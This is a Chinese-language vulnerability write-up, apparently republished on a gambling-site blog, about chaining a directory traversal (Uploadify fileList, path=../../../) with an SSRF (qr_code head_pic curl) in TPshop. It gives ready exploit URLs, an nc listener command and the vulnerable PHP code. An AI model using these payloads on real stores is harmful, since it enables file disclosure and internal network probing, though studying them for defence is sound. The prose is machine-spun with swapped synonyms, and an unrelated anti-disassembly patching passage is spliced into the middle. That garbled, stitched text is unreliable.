某shop 前台文件遍历&SSRF组合拳 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某shop 前台文件遍历&SSRF组合拳

申博_安全防护 申博 83次浏览 未收录 0个评论

0x01 媒介

TPshop是国内运用局限大、掩盖面广的电商软件产品,基于此,历经5年的时候,而生长成为国内先进的具有成熟且标准化的电商平台手艺解决方案提供商。“TPshop” 的每一次新产品宣布都引带头中国电商软件研发范畴的潮水,延续为中国电子商务服务行业。同时公司建立了由多名科学家组成的行业及手艺研究中心,对电商行业生长趋势、软件产品架构、手艺性、新手艺运用与立异等都做出了卓越贡献。

0x02 剖析

前台文件遍历

定位到/application/home/controller/Uploadify.php中的fileList要领

某shop 前台文件遍历&SSRF组合拳

流程剖析:

79 Line: 将用户传入的type赋值给变量$type
80~86 Line: 将变量$type带入swtch语句中,也就是设置猎取文件的后缀是啥,这里随意输入一个就能够了
88 Line: 将cookie中的user_id、和用户传入的path拼接到途径字符串中并赋值给$path
89 Line: 界说变量$listSize并将100000赋值给变量
90 Line: 界说变量$key并将get传入的key的值赋值给变量
93 Line: 界说变量$size并赋值
94 Line: 界说变量$start并赋值
95 Line: 界说变量$end并将$start + $size的值赋值给变量
98 Line: 将变量$path, $allowFiles, $key传入要领getfiles中

getfiles要领:

某shop 前台文件遍历&SSRF组合拳

能够看到getfiles要领中并未举行任何过滤,注重142行的正则便可。

破绽应用:

直接接见:

http://127.0.0.1/index.php/home/Uploadify/fileList?type=a&path=../../../application

某shop 前台文件遍历&SSRF组合拳

前台SSRF

跟踪到/application/home/controller/index.php中的qr_code要领

某shop 前台文件遍历&SSRF组合拳

某shop 前台文件遍历&SSRF组合拳

(嘤嘤嘤~,一张图截不完,难熬痛苦)

流程剖析:

111~112 Line: 界说变量并将$_GET[‘data’]赋值给$url,并将$url解码赋值给本身
113~115 Line: 离别将get传入的参数head_pic、back_img、valid_date的值离别赋值给$head_pic、$back_img、$valid_date
117 Line: 界说图片存储目次
118~120 Line: 推断图片存储目次是不是存在,不存在则建立
123 Line: 界说天生的二维码文件的称号
124 Line: 天生二维码并存储到目次
127~129 Line: 为二维码天生水印
132~137 Line: 为二维码增加背景图片
140 Line: 推断$head_pic是不是为真,若为真则进入if中的代码块
142 Line: 推断http的地位是不是在$head_pic中为0
144~154 Line: 将$head_pic中的url运用curl要求并存储到当地文件中。

$head_pic中的url运用curl要求并存储到当地文件中这里就造成了ssrf破绽。

反-反汇编patch学习

源码、编译 代码如下: #include
#include
#include

int main(int agr, char** argv) {
puts(“nop me”);
puts(“nop me”);
puts(“nop me”);
puts(“nop me”);
puts(“nop me”);
system(“pause”);
return 0;
}
//gcc -m32 main.c -o test
x86-1 IDA视角 用IDA打开,和之前几篇类似的汇编代码 因为没开优化,对esp的加加减减没有合并 把0x0804844F处的puts(“nop me”);全部nop掉,也就是4条汇编指令,分别是参数压栈、调用函数、”平栈2次” patch 接着,0x0804844F处改成call $+6,也就是call 0x08048455,这条指令长度为5 最后把0x08048455的指令改成pop eax,效果如下: 运行时没有什么问题 F5也可以看出大致逻辑,IDA把sub_8048455看成了子函数 点进这个子函数,F5就会失败,因为堆栈不平衡 实际上call func == push 下一条指令地址 + jmp func 这里通过一个pop eax消除call对栈的影响,效果其实就是无条件jmp,但是IDA显示非常混乱 修复 让IDA正确识别也很简单,只要nop掉那一块代码就行了 如果代码中有防止patch的措施,比如取代码段上某一块的数据,patch成nop以后就会改变原有的结果;也可能是代码段的校验之类,

破绽应用:

找台服务器合营一下,运用nc监听一下,敕令以下:

nc -vv -l -p 2020

某shop 前台文件遍历&SSRF组合拳

组合应用

http://127.0.0.1//index.php/home/Uploadify/fileList?type=a&path=../../upload/qr_code

某shop 前台文件遍历&SSRF组合拳

先纪录一下它底本存在的文件,接见:

http://127.0.0.1//index.php/home/index/qr_code?data=http://www.baidu.com&head_pic=http://127.0.0.1

某shop 前台文件遍历&SSRF组合拳

报错不影响,遍历一下目次:

某shop 前台文件遍历&SSRF组合拳

仔细看会发明较第一次多了个文件,接见看看:

view-source:http://127.0.0.1/public//upload/qr_code/15573123719552.png

某shop 前台文件遍历&SSRF组合拳

Get it

对照难熬痛苦的是个限定:

if (strpos($head_pic, 'http') === 0) {
    //下载头像
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL, $head_pic); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    $file_content = curl_exec($ch);
    curl_close($ch);
    //生存头像
    if ($file_content) {
        $head_pic_path = $qr_code_path.time().rand(1, 10000).'.png';
        file_put_contents($head_pic_path, $file_content);
        $head_pic = $head_pic_path;
    }

没法运用其他协定进一步应用。

某shop 前台文件遍历&SSRF组合拳

0x03 总结

举一反三,愿望能在师傅们的进一步应用下使破绽可应用代价最大化。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某shop 前台文件遍历&SSRF组合拳
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址